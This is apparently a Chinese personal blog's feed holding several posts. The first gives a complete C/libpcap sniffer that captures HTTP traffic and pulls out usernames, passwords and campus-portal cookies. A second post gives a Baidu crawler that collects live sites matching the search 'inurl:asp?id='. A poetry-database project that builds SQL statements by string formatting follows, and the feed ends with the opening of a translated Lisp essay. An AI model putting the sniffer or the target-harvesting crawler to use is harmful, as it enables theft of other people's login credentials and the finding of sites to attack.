当它不带参数时默认嗅探网卡eth0上的网络流量;
当有一个参数时,该参数为要嗅探数据的网卡名,如eth1、wlan0这样的;
当有两个参数时,第一个参数为网卡名,第二个参数为任意值,
有第二个参数存在,便指明嗅探程序工作模式为简明模式,
即只输出嗅探到的用户名、密码及目的IP、端口、URL等最基本信息,
而没有第二个参数存在,则会输出嗅探到的所有数据包的概要信息。

为了嗅探到更多网络流量,你可能需要开启自己网卡的混杂模式:

    sudo fconfig eth0 promisc

程序很简单,主要是libpcap的用法,参考以下文章:

嗅探程序源代码如下:

    #include <time.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <pcap/pcap.h>
    #include <arpa/inet.h>
    #include <netinet/ether.h>

    //定义链路层数据包格式
    typedef struct {
        u_char DestMac[6];
        u_char SrcMac[6];
        u_char Etype[2];
    }ETHHEADER;

    //定义IP首部格式
    typedef struct ip_hdr
    {  
        unsigned char h_verlen;//4位首部长度,4位IP版本号  
        unsigned char tos;//8位服务类型TOS  
        unsigned short tatal_len;//16位总长度  
        unsigned short ident;//16位标示  
        unsigned short frag_and_flags;//偏移量和3位标志位  
        unsigned char ttl;//8位生存时间TTL  
        unsigned char proto;//8位协议(TCP,UDP或其他)  
        unsigned short checksum;//16位IP首部检验和  
        unsigned int sourceIP;//32位源IP地址  
        unsigned int destIP;//32位目的IP地址  
    }IPHEADER;

    //定义TCP首部格式
    typedef struct tcp_hdr
    {
        unsigned short sport;//16位源端口  
        unsigned short dport;//16位目的端口  
        unsigned int seq;//32位序列号  
        unsigned int ack;//32位确认号  
        unsigned char lenres;//4位首部长度/6位保留字  
        unsigned char flag;//6位标志位  
        unsigned short win;//16位窗口大小  
        unsigned short sum;//16位检验和  
        unsigned short urp;//16位紧急数据偏移量  
    }TCPHEADER;

    //全局变量
    int flag = 0;               //是否只显示嗅探到用户名或口令的包,默认为否
    long number =0;      //已嗅探到的包总数

    int isHTTP(char *datatcp, int len)
        //判断TCP包中是否有HTTP包,通过是否包含"HTTP/"来判断
    {
        int i=0;

        //只在TCP数据的前200字节查找
        int min=200;
        if(len<200){
            min=len;
        }
        //开始查找
        for(i=0;i<min;i++){
            if(datatcp[i]=='H' && i<min-4){
                if(datatcp[i+1]=='T'&&datatcp[i+2]=='T'&&datatcp[i+3]=='P'&&datatcp[i+4]=='/'){
                    return 1;
                }
            }
        }
        return 0;
        /*
        //判断TCP包中是否有HTTP包,通过是否以"HTTP/"开头来判断
        if(datatcp[0]=='H' && datatcp[1]=='T' && datatcp[2]=='T' && datatcp[3]=='P' && datatcp[4]=='/'){
            return 1;
        }else{
            return 0;    
        }
        */
    }

    void printHTTPhead(char *httphead, int len)
        //打印HTTP头部信息或头部第一行(取决于全局变量flag)
        //打印头部信息时遇到连续两个换行结束
    {
        int i;
        for(i=0;i<len;i++){
            if(httphead[i]=='\r' && httphead[i+1]=='\n' && httphead[i+2]=='\r' && httphead[i+3]=='\n'){
                httphead[i]='\0';
                httphead[i+1]='\0';
                break;
            }
            if( flag && httphead[i]=='\r' && httphead[i+1]=='\n'){
                httphead[i]='\0';
                httphead[i+1]='\0';
                break;
            }
        }
        if(httphead[0]==0x01&&httphead[1]==0x01&&httphead[2]==0x08&&httphead[3]==0x0a){
            //TCP PAWS处理 
            //http://www.unixresources.net/linux/clf/linuxK/archive/00/00/13/92/139290.html
            printf("%s", httphead+12);
        }else{
            printf("%s", httphead);
        }
        httphead[i]='\r';
        httphead[i+1]='\n';
    }

    int findPasswd(char *data, int len){
        //从HTTP包的数据部分寻找可能存在的用户名和密码,返回找到的个数
        //密码可能在URL里,cookie里,HTTP数据里,只能在整个http报文中匹配
        int i=0, j=0, min=200;
        int p=0;        //在data中的总偏移,用于防止修改非法地址的值
        int num=0;   //嗅探到的用户名或口令个数
        char temp;
        char * next;
        char * start;
        char * keyword[] = {    //字典,本程序核心技术所在
                                         "username=",         //最常见的
                                         "password=",         //最常见的
                                         "passwd=",             //最常见的
                                         "number=",            //我曾经用过的
                                         "user=",                  //这是我瞎想的
                                         "yonghuming=",     //汉语拼音
                                         "mima=",                //汉语拼音
                                         "userid=",               //织梦cms
                                         "pwd",                    //织梦cms
                                         "account=",            //知乎的,虽然它加密了
                                         "TxtName",            //华科图书馆
                                         "TxtPassword",      //华科图书馆
                                         "EPORTAL_COOKIE_USERNAME=", //校园网
                                         "EPORTAL_COOKIE_PASSWORD=", //校园网
                                         };
        int l=sizeof(keyword) / sizeof(keyword[0]);

        /* 由于TCP首部是变长的,传来的data可能包含有部分TCP首部数据,并不一定是HTTP数据
             故先查找字符串"HTTP/"或"POST"或"GET",从这个字符串后匹配用户名密码*/
        for(i=0;i<min;i++){
            if(data[i]=='H' && i<min-4){
                if(data[i+1]=='T' && data[i+2]=='T' && data[i+3]=='P' && data[i+4]=='/'){
                    start = data+i;
                    break;
                }
            }
            if(data[i]=='G' && i<min-3){
                if(data[i+1]=='E' && data[i+2]=='T'){
                    start = data+i;
                    break;
                }
            }
            if(data[i]=='P' && i<min-4){
                if(data[i+1]=='O' && data[i+2]=='S' && data[i+3]=='T'){
                    start = data+i;
                    break;
                }
            }
        }

        /* 依次匹配每个关键词 */
        for(i=0;i<l;i++){
            next = start;
            p = 0;
            while( next = strstr(next, keyword[i]) ){   //一个关键词可能出现多次
                j=0;
                while(next[j]!='\n' && next[j]!='\r' && next[j]!='&' && next[j]!=';' && next[j]!=' '){
                    //若密码中出现了空格和分号,会被自动转码为+和%%3B,而密码中的+会被自动转码为%2B
                    if(p>=len){
                        break;
                    }
                    j++;
                    p++;
                }
                temp = next[j];
                next[j] = '\0';
                if(num==0){
                    printf("**********口令嗅探结果***********");
                }
                printf("\n%s", next);
                num++;
                next[j] = temp;
                next = next + j;
            }
        }
        return num;
    }

    void pcap_handle(u_char* user,const struct pcap_pkthdr* header,const u_char* pkt_data)
        //pcap_loop回调函数
    {
        /* 声明变量 */
        int off,ret;
        time_t timep;
        char * datatcp;
        char szSourceIP[MAX_ADDR_LEN*2], szDestIP[MAX_ADDR_LEN*2];  //源IP和目的IP
        struct sockaddr_in saSource, saDest;                                                 //源地址结构体,目的地址结构体

        /* 设置各种头指针  */
        if(header->len<sizeof(ETHHEADER)) return;              //数据帧长度小于以太网头,不做处理
        IPHEADER *pIpheader=(IPHEADER*)(pkt_data+sizeof(ETHHEADER));
        TCPHEADER *pTcpheader = (TCPHEADER*)(pkt_data + sizeof(ETHHEADER) + sizeof(IPHEADER));
        if(pIpheader->proto!=6) return;                                 //只处理TCP数据
        off = sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(ETHHEADER);
        datatcp = (unsigned char *)pkt_data + off;

        if(isHTTP(datatcp, header->len-off)){
            /* 若是HTTP报文 */

            number ++;

            //打印嗅探结果
            ret = findPasswd(datatcp, header->len-off);
            if(ret==0 && flag==0){
                //没有嗅探到任何口令
                printf("**********口令嗅探结果***********");
                printf("\n没有嗅探到任何口令");
            }else if(ret>0 && !flag){
                printf("\n共嗅探到%d个用户名或口令", ret);
            }

            //flag为1时跳过未嗅探到口令的包
            if(ret==0 && flag) return;

            // 解析IP地址
            saSource.sin_addr.s_addr = pIpheader->sourceIP;
            strcpy(szSourceIP, inet_ntoa(saSource.sin_addr));
            saDest.sin_addr.s_addr = pIpheader->destIP;
            strcpy(szDestIP, inet_ntoa(saDest.sin_addr));

            if(!flag){
                //打印全部信息
                time (&timep); 
                printf("\n**********数据包信息***********");
                printf("\n数据包编号: %ld", number);
                printf("\n数据包长度: %d", header->len);
                printf("\n捕获时间: %s", asctime(localtime(&timep)));
                printf("**********IP协议头部***********");  
                printf("\n标示: %i", ntohs(pIpheader->ident));  
                printf("\n总长度: %i", ntohs(pIpheader->tatal_len));  
                printf("\n偏移量: %i", ntohs(pIpheader->frag_and_flags));  
                printf("\n生存时间: %d",pIpheader->ttl);  
                printf("\n服务类型: %d",pIpheader->tos);  
                printf("\n协议类型: %d",pIpheader->proto);  
                printf("\n检验和: %i", ntohs(pIpheader->checksum));  
                printf("\n源IP: %s", szSourceIP);  
                printf("\n目的IP: %s", szDestIP);  
                printf("\n**********TCP协议头部***********");  
                printf("\n源端口: %i", ntohs(pTcpheader->sport));  
                printf("\n目的端口: %i", ntohs(pTcpheader->dport));  
                printf("\n序列号: %i", ntohs(pTcpheader->seq));  
                printf("\n应答号: %i", ntohs(pTcpheader->ack));  
                printf("\n检验和: %i", ntohs(pTcpheader->sum));

                //打印HTTP头部信息
                printf("\n**********HTTP协议头部***********\n");
                printHTTPhead(datatcp, header->len-off);
            }
            else{
                //只打印必须的信息(必须是指能识别出具体发往哪个网页)
                printf("\n源IP: %s, 目的: %s:%i\t", szSourceIP, szDestIP, ntohs(pTcpheader->dport));
                printHTTPhead(datatcp, header->len-off);
            }
            //额外的换行
            printf("\n\n");
        }

        /*
        //显示数据帧内容
        int i;
        for(i=0; i<(int)header->len; ++i)  {  
            printf(" %02x", pkt_data[i]);  
            if( (i + 1) % 16 == 0 )   
                printf("\n");  
        }
        */
    }

    int main(int argc, char** argv)
    {
        /* 声明变量 */
        int id = 0;
        char errpkt_data[1024];
        char *dev="eth0";
        bpf_u_int32 ipmask=0;
        struct bpf_program fcode;
        struct pcap_pkthdr packet;

        /* 处理参数 */
        if(argc==2){
            dev = argv[1];  //指定网卡
        }
        else if(argc==3){
            dev = argv[1];  //指定网卡
            flag = 1;           //只显示嗅探到用户名或口令的包
        }

        /* 打开网络设备 */
        pcap_t* device=pcap_open_live(dev, 65535, 1, 0, errpkt_data);
        if(!device){
            printf("%s\n", errpkt_data);
            return 1;
        }

        /* 设置过滤规则,只抓取TCP包 */
        if(pcap_compile(device, &fcode, "tcp", 0, ipmask)==-1){
            printf("%s\n", pcap_geterr(device));
        }
        if(pcap_setfilter(device, &fcode)==-1){
            printf("%s\n", pcap_geterr(device));
            return 1;
        }

        /* 开始抓包 */
        pcap_loop(device, -1, pcap_handle, (u_char*)&id);
        return 0;
    }
]]>
https://blog.werner.wiki/http-password-sniffer-based-on-libpcap/feed/ 0
爬取百度搜索结果的爬虫 https://blog.werner.wiki/crawler-crawling-baidu-search-results/ https://blog.werner.wiki/crawler-crawling-baidu-search-results/#comments Tue, 04 Apr 2017 06:14:24 +0000 http://blog.werner.wiki/?p=197 是这样的,在所谓的网络空间搜索引擎钟馗之眼搜索某cms名称,发现搜索结果只有可怜的17条,而在百度搜索“”Powered by 某cms””,结果有约2,150个,差距还是很大的。而去国外的那个撒旦搜这个cms,结果直接为“No results found”。好吧,还得靠百度。

为便于程序自动化处理搜索结果,便产生了写一个Python脚本来自动搜索的想法。要求输入搜索关键词和页数,输出百度搜索此关键词所得结果的前某某页中的指向搜索结果的链接。

难点有二,一是百度搜索结果中的链接都不是直接指向搜索结果的,而是:

    http://www.baidu.com/link?url=N5vu2VW2jp1E4lIDBiL77-J2B65YL9MgyXC0YmJNdjW

这种样子的,需要再处理才行。二是翻页问题,现在百度搜索结果的翻页不再由url中的参数pn来控制,在以前,pn=2便是搜索结果的第二页,pn=5便是搜索结果的第5页,现在不清楚是怎么控制翻页的,我研究也好久也没弄明白。

第一个问题的解决是这样的,先拿到会跳转的链接,然后打开它,会发现HTTP状态码是302,从HTTP头的location字段中便可以取到目标链接。第二个问题的解决是取巧的,每个爬取的页面总有下一页的按钮,直接解析出下一页的按钮对应的url,便拿到了下一页的url。

给这个脚本命名为baidu_crawler.py,有三个参数,-k是必须的,后接搜索关键词,-t后接一个整数,是超时时间,默认为60秒,-p后接一个整数,是要爬取的总页数,默认为5页。如在终端中输入如下命令:

    python baidu_crawler.py -k inurl:asp?id= -p 2

其输出结果为:

    http://www.newmen.com.cn/product/product.asp?id=664
    http://fanyi.baidu.com/?aldtype=23&keyfrom=alading#en/zh/inurl%3Aasp%3Fid
    http://fanyi.baidu.com/?aldtype=23#en/zh/inurl%3Aasp%3Fid
    http://www.ampcn.com/show/index.asp?id=225238
    http://www.jmzjzc.com/news.asp?id=1296
    http://www.youda999.com/NewsView.Asp?ID=1818&SortID=10
    http://www.kjcxpp.com/tebie.asp?id=4987
    http://www.szxcc.com/gb/about1_xinxi.asp?id=325
    http://www.synsun.com.cn/IntotheformerSt.asp?id=15
    http://www.yorku.org.cn/displaynews1_new.asp?id=63
    http://www.luoxin.cn/newsinfo.asp?id=8623
    http://dfgjt.com/show_news.asp?id=515
    http://jsxx.ahau.edu.cn/jsxx_show.asp?ID=1995046
    http://www.fjplan.org/chgnr.asp?id=227
    http://chem.xmu.edu.cn/show.asp?id=1995
    http://www.nhzupei.com/viewanli.asp?id=556
    http://www.snsafety.gov.cn/admin/pub_newsshow.asp?id=1040041&chid=100118
    http://www.cnarts.net/cweb/news/read.asp?id=317959
    http://www.zjgjgs.com/news_view.asp?id=964
    http://www.sanheip.com/about.Asp?id=3
    http://www.cqgbc.org/news_x.asp?id=403

下面是这个程序的源代码:

    #!/usr/bin/python
    # ^_^ coding:utf8 ^_^

    import re
    import requests
    import traceback
    from urllib import quote
    import sys, getopt
    reload(sys)
    sys.setdefaultencoding('utf-8')

    class crawler:
        '''爬百度搜索结果的爬虫'''
        url = u''
        urls = []
        o_urls = []
        html = ''
        total_pages = 5
        current_page = 0
        next_page_url = ''
        timeout = 60                    #默认超时时间为60秒
        headersParameters = {    #发送HTTP请求时的HEAD信息,用于伪装为浏览器
            'Connection': 'Keep-Alive',
            'Accept': 'text/html, application/xhtml+xml, */*',
            'Accept-Language': 'en-US,en;q=0.8,zh-Hans-CN;q=0.5,zh-Hans;q=0.3',
            'Accept-Encoding': 'gzip, deflate',
            'User-Agent': 'Mozilla/6.1 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko'
        }

        def __init__(self, keyword):
            self.url = u'https://www.baidu.com/baidu?wd='+quote(keyword)+'&tn=monline_dg&ie=utf-8'

        def set_timeout(self, time):
            '''设置超时时间,单位:秒'''
            try:
                self.timeout = int(time)
            except:
                pass

        def set_total_pages(self, num):
            '''设置总共要爬取的页数'''
            try:
                self.total_pages = int(num)
            except:
                pass

        def set_current_url(self, url):
            '''设置当前url'''
            self.url = url

        def switch_url(self):
            '''切换当前url为下一页的url
               若下一页为空,则退出程序'''
            if self.next_page_url == '':
                sys.exit()
            else:
                self.set_current_url(self.next_page_url)

        def is_finish(self):
            '''判断是否爬取完毕'''
            if self.current_page >= self.total_pages:
                return True
            else:
                return False

        def get_html(self):
            '''爬取当前url所指页面的内容,保存到html中'''
            r = requests.get(self.url ,timeout=self.timeout, headers=self.headersParameters)
            if r.status_code==200:
                self.html = r.text
                self.current_page += 1
            else:
                self.html = u''
                print '[ERROR]',self.url,u'get此url返回的http状态码不是200'

        def get_urls(self):
            '''从当前html中解析出搜索结果的url,保存到o_urls'''
            o_urls = re.findall('href\=\"(http\:\/\/www\.baidu\.com\/link\?url\=.*?)\" class\=\"c\-showurl\"', self.html)
            o_urls = list(set(o_urls))  #去重
            self.o_urls = o_urls
            #取下一页地址
            next = re.findall(' href\=\"(\/s\?wd\=[\w\d\%\&\=\_\-]*?)\" class\=\"n\"', self.html)
            if len(next) > 0:
                self.next_page_url = 'https://www.baidu.com'+next[-1]
            else:
                self.next_page_url = ''

        def get_real(self, o_url):
            '''获取重定向url指向的网址'''
            r = requests.get(o_url, allow_redirects = False)    #禁止自动跳转
            if r.status_code == 302:
                try:
                    return r.headers['location']    #返回指向的地址
                except:
                    pass
            return o_url    #返回源地址

        def transformation(self):
            '''读取当前o_urls中的链接重定向的网址,并保存到urls中'''
            self.urls = []
            for o_url in self.o_urls:
                self.urls.append(self.get_real(o_url))

        def print_urls(self):
            '''输出当前urls中的url'''
            for url in self.urls:
                print url

        def print_o_urls(self):
            '''输出当前o_urls中的url'''
            for url in self.o_urls:
                print url

        def run(self):
            while(not self.is_finish()):
                c.get_html()
                c.get_urls()
                c.transformation()
                c.print_urls()
                c.switch_url()

    if __name__ == '__main__':
        help = 'baidu_crawler.py -k <keyword> [-t <timeout> -p <total pages>]'
        keyword = None
        timeout  = None
        totalpages = None
        try:
            opts, args = getopt.getopt(sys.argv[1:], "hk:t:p:")
        except getopt.GetoptError:
            print(help)
            sys.exit(2)
        for opt, arg in opts:
            if opt == '-h':
                print(help)
                sys.exit()
            elif opt in ("-k", "--keyword"):
                keyword = arg
            elif opt in ("-t", "--timeout"):
                timeout = arg
            elif opt in ("-p", "--totalpages"):
                totalpages = arg
        if keyword == None:
            print(help)
            sys.exit()

        c = crawler(keyword)
        if timeout != None:
            c.set_timeout(timeout)
        if totalpages != None:
            c.set_total_pages(totalpages)
        c.run()
]]>
https://blog.werner.wiki/crawler-crawling-baidu-search-results/feed/ 1
以诗之名 https://blog.werner.wiki/name-from-poetry/ https://blog.werner.wiki/name-from-poetry/#comments Fri, 31 Mar 2017 05:49:30 +0000 http://blog.werner.wiki/?p=189 (2018年3月20日更新)“以诗之名”全面改版,本文内容过期。详情见“以诗之名-关于”。

这是什么?

以诗之名”是我和 Yixiao_Li 同学共同完成的一个搜索引擎,用于搜索你的名字(或者其他的几个汉字)包含于哪首古诗词中。
如搜索马化腾的“化腾”二字,出现的第一首诗是:

    造化精神无尽期,
    跳腾踔厉即时追。
    目前言句知多少,
    罕有先生活法诗。

这首诗的第一句中含有“化”、“腾”二字,而且是对齐的。说这是马化腾名字的出处也未尝不可 🙂

搜索结果中包含有你输入的全部关键字,所以我想,在大多数时候,你应该输入“化腾”而不是“马化腾”。
搜索结果是按照一定规则排序的:关键字对齐、关键字在一句之内及总长度较短的诗会排得比较靠前,因为我们认为,这样的诗,正是你想看到的。

此搜索引擎支持查询简体字和繁体字,但程序并不能自动识别你输入的是简体字还是繁体字,需要你显式地指明——若你输入的是繁体字,就打开繁体字对应的开关,否则程序就默认你输入的是简体字。除了“繁体”外,还有“仅唐”和“仅宋”两个开关,这两个开关是互斥的,除非你的浏览器没有执行我写的脚本程序,或是你有意破坏。打开这两个开关中的一个,会只在唐人的作品或宋人的作品中搜索诗词。注意,唐人也会写词,宋人也会写诗。

目前只收录了部分唐诗宋词,数据正在进一步整理中。我希望能再添加“仅经”、“仅楚”和“仅曲’等开关。

开发过程

为何要公开开发过程呢?好吧,这只是我的备忘录而已。

第一步:寻找诗词数据库

在github上搜索“唐诗”就搜到了一个很全的唐诗数据库:chinese-poetry,感谢@jackeyGao,感谢开源!

这个“数据库”是JSON格式的,而且是繁体字版的。

先将其导入数据库。数据库的创建语句是:

    CREATE DATABASE shiming DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

数据表的创建语句是:

    create table SHI_f (id int AUTO_INCREMENT primary key NOT NULL,title char(100), author char(50), paragraphs text, ft_index text, type char(5), src char(25));
    create table SHI_j (id int AUTO_INCREMENT primary key NOT NULL,title char(100), author char(50), paragraphs text, ft_index text, type char(5), src char(25));

其中“_j”表示简体,“_f”表示繁体,用Python解析JSON代码如下:

    # -*-coding:utf8-*-
    import os
    import json
    import traceback
    from sql_head import *
    from langconv import *

    global db
    db = None                   #全局变量,数据库连接

    def insert(title, author, paragraphs, type, src):
        u'''将数据插入数据库,会进行繁体转换,保存简、繁体两版'''
        global db
        sql_j = '''insert into SHI_j (`title`, `author`, `paragraphs`, `ft_index`, `type`, `src`) values ("{0}", "{1}", "{2}", "{3}", "{4}", "{5}")'''
        sql_f = '''insert into SHI_f (`title`, `author`, `paragraphs`, `ft_index`, `type`, `src`) values ("{0}", "{1}", "{2}", "{3}", "{4}", "{5}")'''
        #进行繁体到简体的转换
        title_j = Converter('zh-hans').convert(title.decode('utf-8'))
        title_j = title_j.encode('utf-8')
        author_j = Converter('zh-hans').convert(author.decode('utf-8'))
        author_j = author_j.encode('utf-8')
        paragraphs_j = Converter('zh-hans').convert(paragraphs.decode('utf-8'))
        index_j = ''
        for i in paragraphs_j:
            index_j += i+" "
        index = ''
        for i in paragraphs:
            index += i+" "
        db=linkmysql(db)        #连接数据库
        cursor = db.cursor()    #获得游标
        try:
            cursor.execute(sql_j.format(title_j, author_j, paragraphs_j, index_j, type, src))    #插入记录
            cursor.execute(sql_f.format(title, author, paragraphs, index, type, src))              #插入记录
            db.commit()
        except:
            # 发生错误时回滚
            traceback.print_exc()
            db.rollback()
            return -1
        else:
            return 0

    def jiexi_json(src):
        '''从给定源读html文件解析出标题、作者、内容等'''
        if "song" in src:
            type = "song"
        elif "tang" in src:
            type = "tang"
        else:
            type = "None"
        f = open(src, "r")
        try:
            s = json.load(f, encoding='utf-8')
        except:
            traceback.print_exc()
            f.close()
            return
        f.close()
        for i in s:
            try:
                title = i['title']
                author = i['author']
                paragraphs=''
                for item in i['paragraphs']:
                    if item.find(u'《')!=-1 or item.find(u'〖')!=-1:
                        break
                    paragraphs += item
                insert(title, author, paragraphs, type, src)
            except:
                traceback.print_exc()
                continue

    def bianli(rootdir):
        '''遍历rootdir目录中的文件'''
        num = 0
        for parent,dirnames,filenames in os.walk(rootdir):
            for filename in filenames:                        #输出文件信息
                if filename.endswith('.json'):                #该文件是json文件
                    print "["+str(num)+"]",filename
                    src = filename
                    jiexi_json(src)

    if __name__ == '__main__':
        db=linkmysql(db)        #连接数据库
        bianli(".")
        db.close()              #关闭和数据库的连接

其中langconv是用于进行繁体字和简体字转换的Python库,作者是@Skydark Chen,sql_head是我写的一个连接数据库用到很简单的库,代码如下:

    # -*-coding:utf8-*-
    import sys
    import MySQLdb

    #指定编码为utf8
    reload(sys)  
    sys.setdefaultencoding('utf8')

    db_config = {
        "hostname": "localhost",#主机名
        "username": "XXXX",#数据库用户名
        "password": "XXXX",#数据库密码
        "databasename": "XXXX",#要存入数据的数据库名
        }

    def linkmysql(db):
        try:#MySQLdb不支持长时间连接,在操作数据库前检查连接是否过期,过期则重连
            db.ping(True)
        except:
            #再次连接数据库
            db = MySQLdb.connect(db_config["hostname"],
                         db_config["username"],
                         db_config["password"],
                         db_config["databasename"],
                         charset='utf8')
        return db

运行该脚本,约半个小时后,数据导入完成,经查询,共有57591首唐诗,254237首宋词,这个数据量还是相当可观的。但比起数千年来,中华民族创造的灿烂诗海,只是沧海一粟而已。

第二步:查询语句

创建全文索引:

    ALTER TABLE SHI_f ADD FULLTEXT(`ft_index`);
    ALTER TABLE SHI_j ADD FULLTEXT(`ft_index`);
    repair table SHI_f;
    repair table SHI_j;

在简体库中搜索同时含有“张飞”二字的诗词,按字数多少递增排序,限定显示前500条。

    SELECT id, title, author, paragraphs FROM SHI_j WHERE MATCH (`ft_index`) AGAINST ("张") and MATCH (`ft_index`) AGAINST ("飞") order by LENGTH(paragraphs) limit 0,500;

第三步:编写网站

前端是用“轻量,小巧且精美的UI库”SUI Mobile 写的。
后台是用php写的。

第四步:部署上线

由于是两个人合作完成的,故有两个实例,一个是http://s.werner.wiki,还有一个是http://poetry.liyixiao.site/,这两个网站运行在不同的地方,只有很小的差别。

附:开始时的困境

一开始做这个项目时,我没有想到神奇的github,而是百度“唐诗大全”之类的字眼,妄图找到较全的唐诗数据库,当然是失败的。热情的popcorn同学得知我这一困境后为我友情提供多本唐诗宋词相关电子书,是azw3和mobi格式的。感谢popcorn同学的帮助!

当时我是这样处理电子书的:先通过一家网站将azw3格式的电子书转换成html格式,然后用Python解析html,从中提取出标题、作者、内容等我们关心的数据,并将其保存到数据库中。下面的代码是用于解析《宋词三百首全解》这本电子书的,虽然最终没有使用,但却具有纪念意义,故也将其摘录于此。

创建数据库和数据表

CREATE DATABASE SHIMING DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
create table SONGCI (id int AUTO_INCREMENT primary key NOT NULL,title char(20),author char(15),content text, src char(50));

解析网页

用Python解析网页,需安装BeautifulSoup4

    sudo pip install BeautifulSoup4

代码

    # -*-coding:utf8-*-
    import os
    import traceback
    from sql_head import *
    from bs4 import BeautifulSoup
    def insert(title, author, content, src):
        '''将数据插入数据库'''
        sql = '''insert into SONGCI (`title`, `author`, `content`, `src`) values ("{0}", "{1}", "{2}", "{3}")'''
        db = None
        db=linkmysql(db)        #连接数据库
        cursor = db.cursor()    #获得游标
        try:
            cursor.execute(sql.format(title, author, content, src))              #插入记录
            db.commit()
        except:
            # 发生错误时回滚
            db.rollback()
            db.close()                                      #关闭和数据库的连接
            return -1;
        else:
            db.close()                                      #关闭和数据库的连接
            return 0;
    def jiexi_html(src):
        '''从给定源读html文件解析出标题、作者、内容等'''
        f = open(src, "r")
        html_doc = f.read()
        f.close()
        soup = BeautifulSoup(html_doc, "lxml")
        [s.extract() for s in soup('sup')]  #去除所有sup标签
        title = soup.h1.string
        author = soup.find_all("p", class_="normaltext2")[0].get_text()
        content = soup.find_all("p", class_="normaltext4")[0].get_text()
        return title, author, content
    def bianli(rootdir):
        '''遍历rootdir目录中的文件'''
        for parent,dirnames,filenames in os.walk(rootdir):
            for filename in filenames:                        #输出文件信息
                if filename.endswith('.html'):                #该文件是html文件
                    print filename
                    src = filename
                    try:
                        title, author, content = jiexi_html(src)
                    except:
                        traceback.print_exc()
                        continue
                    try:
                        ret = insert(title, author, content, src)
                    except:
                        traceback.print_exc()
                        continue
                    if ret==0:
                        print 'success'
                    else:
                        print 'fail'

    if __name__ == '__main__':
        bianli(".")

参考

]]>
https://blog.werner.wiki/name-from-poetry/feed/ 2
[转]Lisp的本质 https://blog.werner.wiki/the-essence-of-lisp/ https://blog.werner.wiki/the-essence-of-lisp/#respond Tue, 21 Mar 2017 05:36:19 +0000 http://blog.werner.wiki/?p=178 原文

简介

最初在web的某些角落偶然看到有人赞美Lisp时, 我那时已经是一个颇有经验的程序员。在我的履历上, 掌握的语言范围相当广泛, 象C++, Java, C#主流语言等等都不在话下,我觉得我差不多知道所有的有关编程语言的事情。对待编程语言的问题上, 我觉得自己不太会遇到什么大问题。其实我大错特错了。

我试着学了一下Lisp, 结果马上就撞了墙。我被那些范例代码吓坏了。我想很多初次接触Lisp语言的人, 一定也有过类似的感受。Lisp的语法太次了。一个语言的发明人, 居然不肯用心弄出一套漂亮的语法, 那谁还会愿意学它。反正, 我是确确实实被那些难看的无数的括号搞蒙了。

回过神来之后, 我和Lisp社区的那伙人交谈, 诉说我的沮丧心情。结果, 立马就有一大套理论砸过来, 这套理论在Lisp社区处处可见, 几成惯例。比如说: Lisp的括号只是表面现象; Lisp的代码和数据的表达方式没有差别, 而且比XML语法高明许多, 所以有无穷的好处; Lisp有强大无比的元语言能力, 程序员可以写出自我维护的代码; Lisp可以创造出针对特定应用的语言子集; Lisp的运行时和编译时没有明确的分界; 等等, 等等, 等等。这么长的赞美词虽然看起来相当动人, 不过对我毫无意义。没人能给我演示这些东西是如何应用的, 因为这些东西一般来说只有在大型系统才会用到。我争辩说, 这些东西传统语言一样办得到。在和别人争论了数个小时之后, 我最终还是放弃了学Lisp的念头。为什么要花费几个月的时间学习语法这么难看的语言呢? 这种语言的概念这么晦涩, 又没什么好懂的例子。也许这语言不是该我这样的人学的。

几个月来, 我承受着这些Lisp辩护士对我心灵的重压。我一度陷入了困惑。我认识一些绝顶聪明的人, 我对他们相当尊敬, 我看到他们对Lisp的赞美达到了宗教般的高度。这就是说, Lisp中一定有某种神秘的东西存在, 我不能忍受自己对此的无知, 好奇心和求知欲最终不可遏制。我于是咬紧牙关埋头学习Lisp, 经过几个月的时间费劲心力的练习, 终于,我看到了那无穷无尽的泉水的源头。在经过脱胎换骨的磨练之后, 在经过七重地狱的煎熬之后, 终于, 我明白了。

顿悟在突然之间来临。曾经许多次, 我听到别人引用雷蒙德(译者注: 论文<<大教堂和市集>>的作者, 著名的黑客社区理论家)的话: “Lisp语言值得学习。当你学会Lisp之后, 你会拥有深刻的体验。就算你平常并不用Lisp编程, 它也会使你成为更加优秀的程序员”。过去, 我根本不懂这些话的含义, 我也不相信这是真的。可是现在我懂得了。这些话蕴含的真理远远超过我过去的想像。我内心体会到一种神圣的情感, 一瞬间的顿悟, 几乎使我对电脑科学的观念发生了根本的改变。

顿悟的那一刻, 我成了Lisp的崇拜者。我体验到了宗教大师的感受: 一定要把我的知识传布开来, 至少要让10个迷失的灵魂得到拯救。按照通常的办法, 我把这些道理(就是刚开始别人砸过来的那一套, 不过现在我明白了真实的含义)告诉旁人。结果太令人失望了,只有少数几个人在我坚持之下, 发生了一点兴趣, 但是仅仅看了几眼Lisp代码, 他们就退却了。照这样的办法, 也许费数年功夫能造就了几个Lisp迷, 但我觉得这样的结果太差强人意了, 我得想一套有更好的办法。

我深入地思考了这个问题。是不是Lisp有什么很艰深的东西, 令得那么多老练的程序员都不能领会? 不是, 没有任何绝对艰深的东西。因为我能弄懂, 我相信其他人也一定能。那么问题出在那里? 后来我终于找到了答案。我的结论就是, 凡是教人学高级概念, 一定要从他已经懂得的东西开始。如果学习过程很有趣, 学习的内容表达得很恰当, 新概念就会变得相当直观。这就是我的答案。所谓元编程, 所谓数据和代码形式合一, 所谓自修改代码, 所谓特定应用的子语言, 所有这些概念根本就是同族概念, 彼此互为解释, 肯定越讲越不明白。还是从实际的例子出发最有用。

我把我的想法说给Lisp程序员听, 遭到了他们的反对。”这些东西本身当然不可能用熟悉的知识来解释, 这些概念完全与众不同, 你不可能在别人已有的经验里找到类似的东西”,可是我认为这些都是遁词。他们又反问我, “你自己为啥不试一下?” 好吧, 我来试一下。这篇文章就是我尝试的结果。我要用熟悉的直观的方法来解释Lisp, 我希望有勇气的人读完它, 拿杯饮料, 深呼吸一下, 准备被搞得晕头转向。来吧, 愿你获得大能。

重新审视XML

